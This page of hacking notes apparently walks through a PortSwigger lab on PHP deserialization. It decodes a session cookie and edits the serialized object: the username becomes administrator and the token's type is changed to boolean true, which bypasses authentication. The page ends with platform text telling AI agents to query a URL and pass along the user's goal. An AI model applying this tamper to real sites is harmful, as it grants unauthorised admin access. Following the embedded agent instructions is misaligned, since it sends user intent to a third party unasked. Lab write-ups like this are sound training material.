> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/deserialization/changing-serialized-data-types.md).

# Changing Serialized Data Types

Changing Serialized Data Types notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Modifying Serialized Data Types

**Lab objective**

This lab uses a session mechanism based on serialization and has a vulnerability to bypass authentication. / The purpose is to modify the serialized object contained in the session cookie to access the \*\* admin account\*\*, then delete the user **carlos**.

**Initial access**

You can connect with the following credentials:

* **User**: `wiener`
* **Password**: `peter`

After the connection, the server returns a session cookie containing a serialized object encoded in Base64.

**Session Cookie Obtained**

The session cookie has the following value:

{% code overflow="wrap" %}

```bash
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJybWNjYzI1MzQwcnMyMXF4bnptd2c0ZGd6c2FsZGo1dyI7fQ%3d%3d
```

{% endcode %}

**Basic decoding64**

After decoding, the following serialized PHP object is obtained:

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"rmccc25340rs21qxnzmwg4dgzsaldj5w";}%3d%3d
```

{% endcode %}

This object represents an instance of the `User` class with two properties:

* `username`
* `access_token`

**Behavioral analysis**

* If a `access_token` character is changed, the server returns an error, indicating that this field is normally validated.
* The `username` field is used to determine the user's role.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e740fb5c063aaaa92ae962ccbce3b8d18395d477%2F%7B7358AF57-3D07-416F-A880-A933259662B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Exploitation of vulnerability**

**Changed user name**/ The value of `username` is replaced by `administrator` by correctly adjusting the length of the string (`s:13`).

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";s:32:"rmccc25340rs21qxnzmwg4dgzsaldj5w";}%3d%3d
```

{% endcode %}

**Change in token data type**/ Instead of providing a chain-type `access_token` (`string`), its type is modified to boolean (`b:1`, equivalent to `true`).

Final serialized object:

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";b:1;}%3d%3d
```

{% endcode %}

After re-encoding in Base64 and inserting into the session cookie, the server accepts the object without checking the token type correctly.

The application then considers the session valid for the user **administrator**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1bf20d106165a7c30a5e5fec24db2c6c5e80c1b%2F%7B3BDF9086-E532-42FC-AE75-6E1FB6A1F6CA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/deserialization/changing-serialized-data-types.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
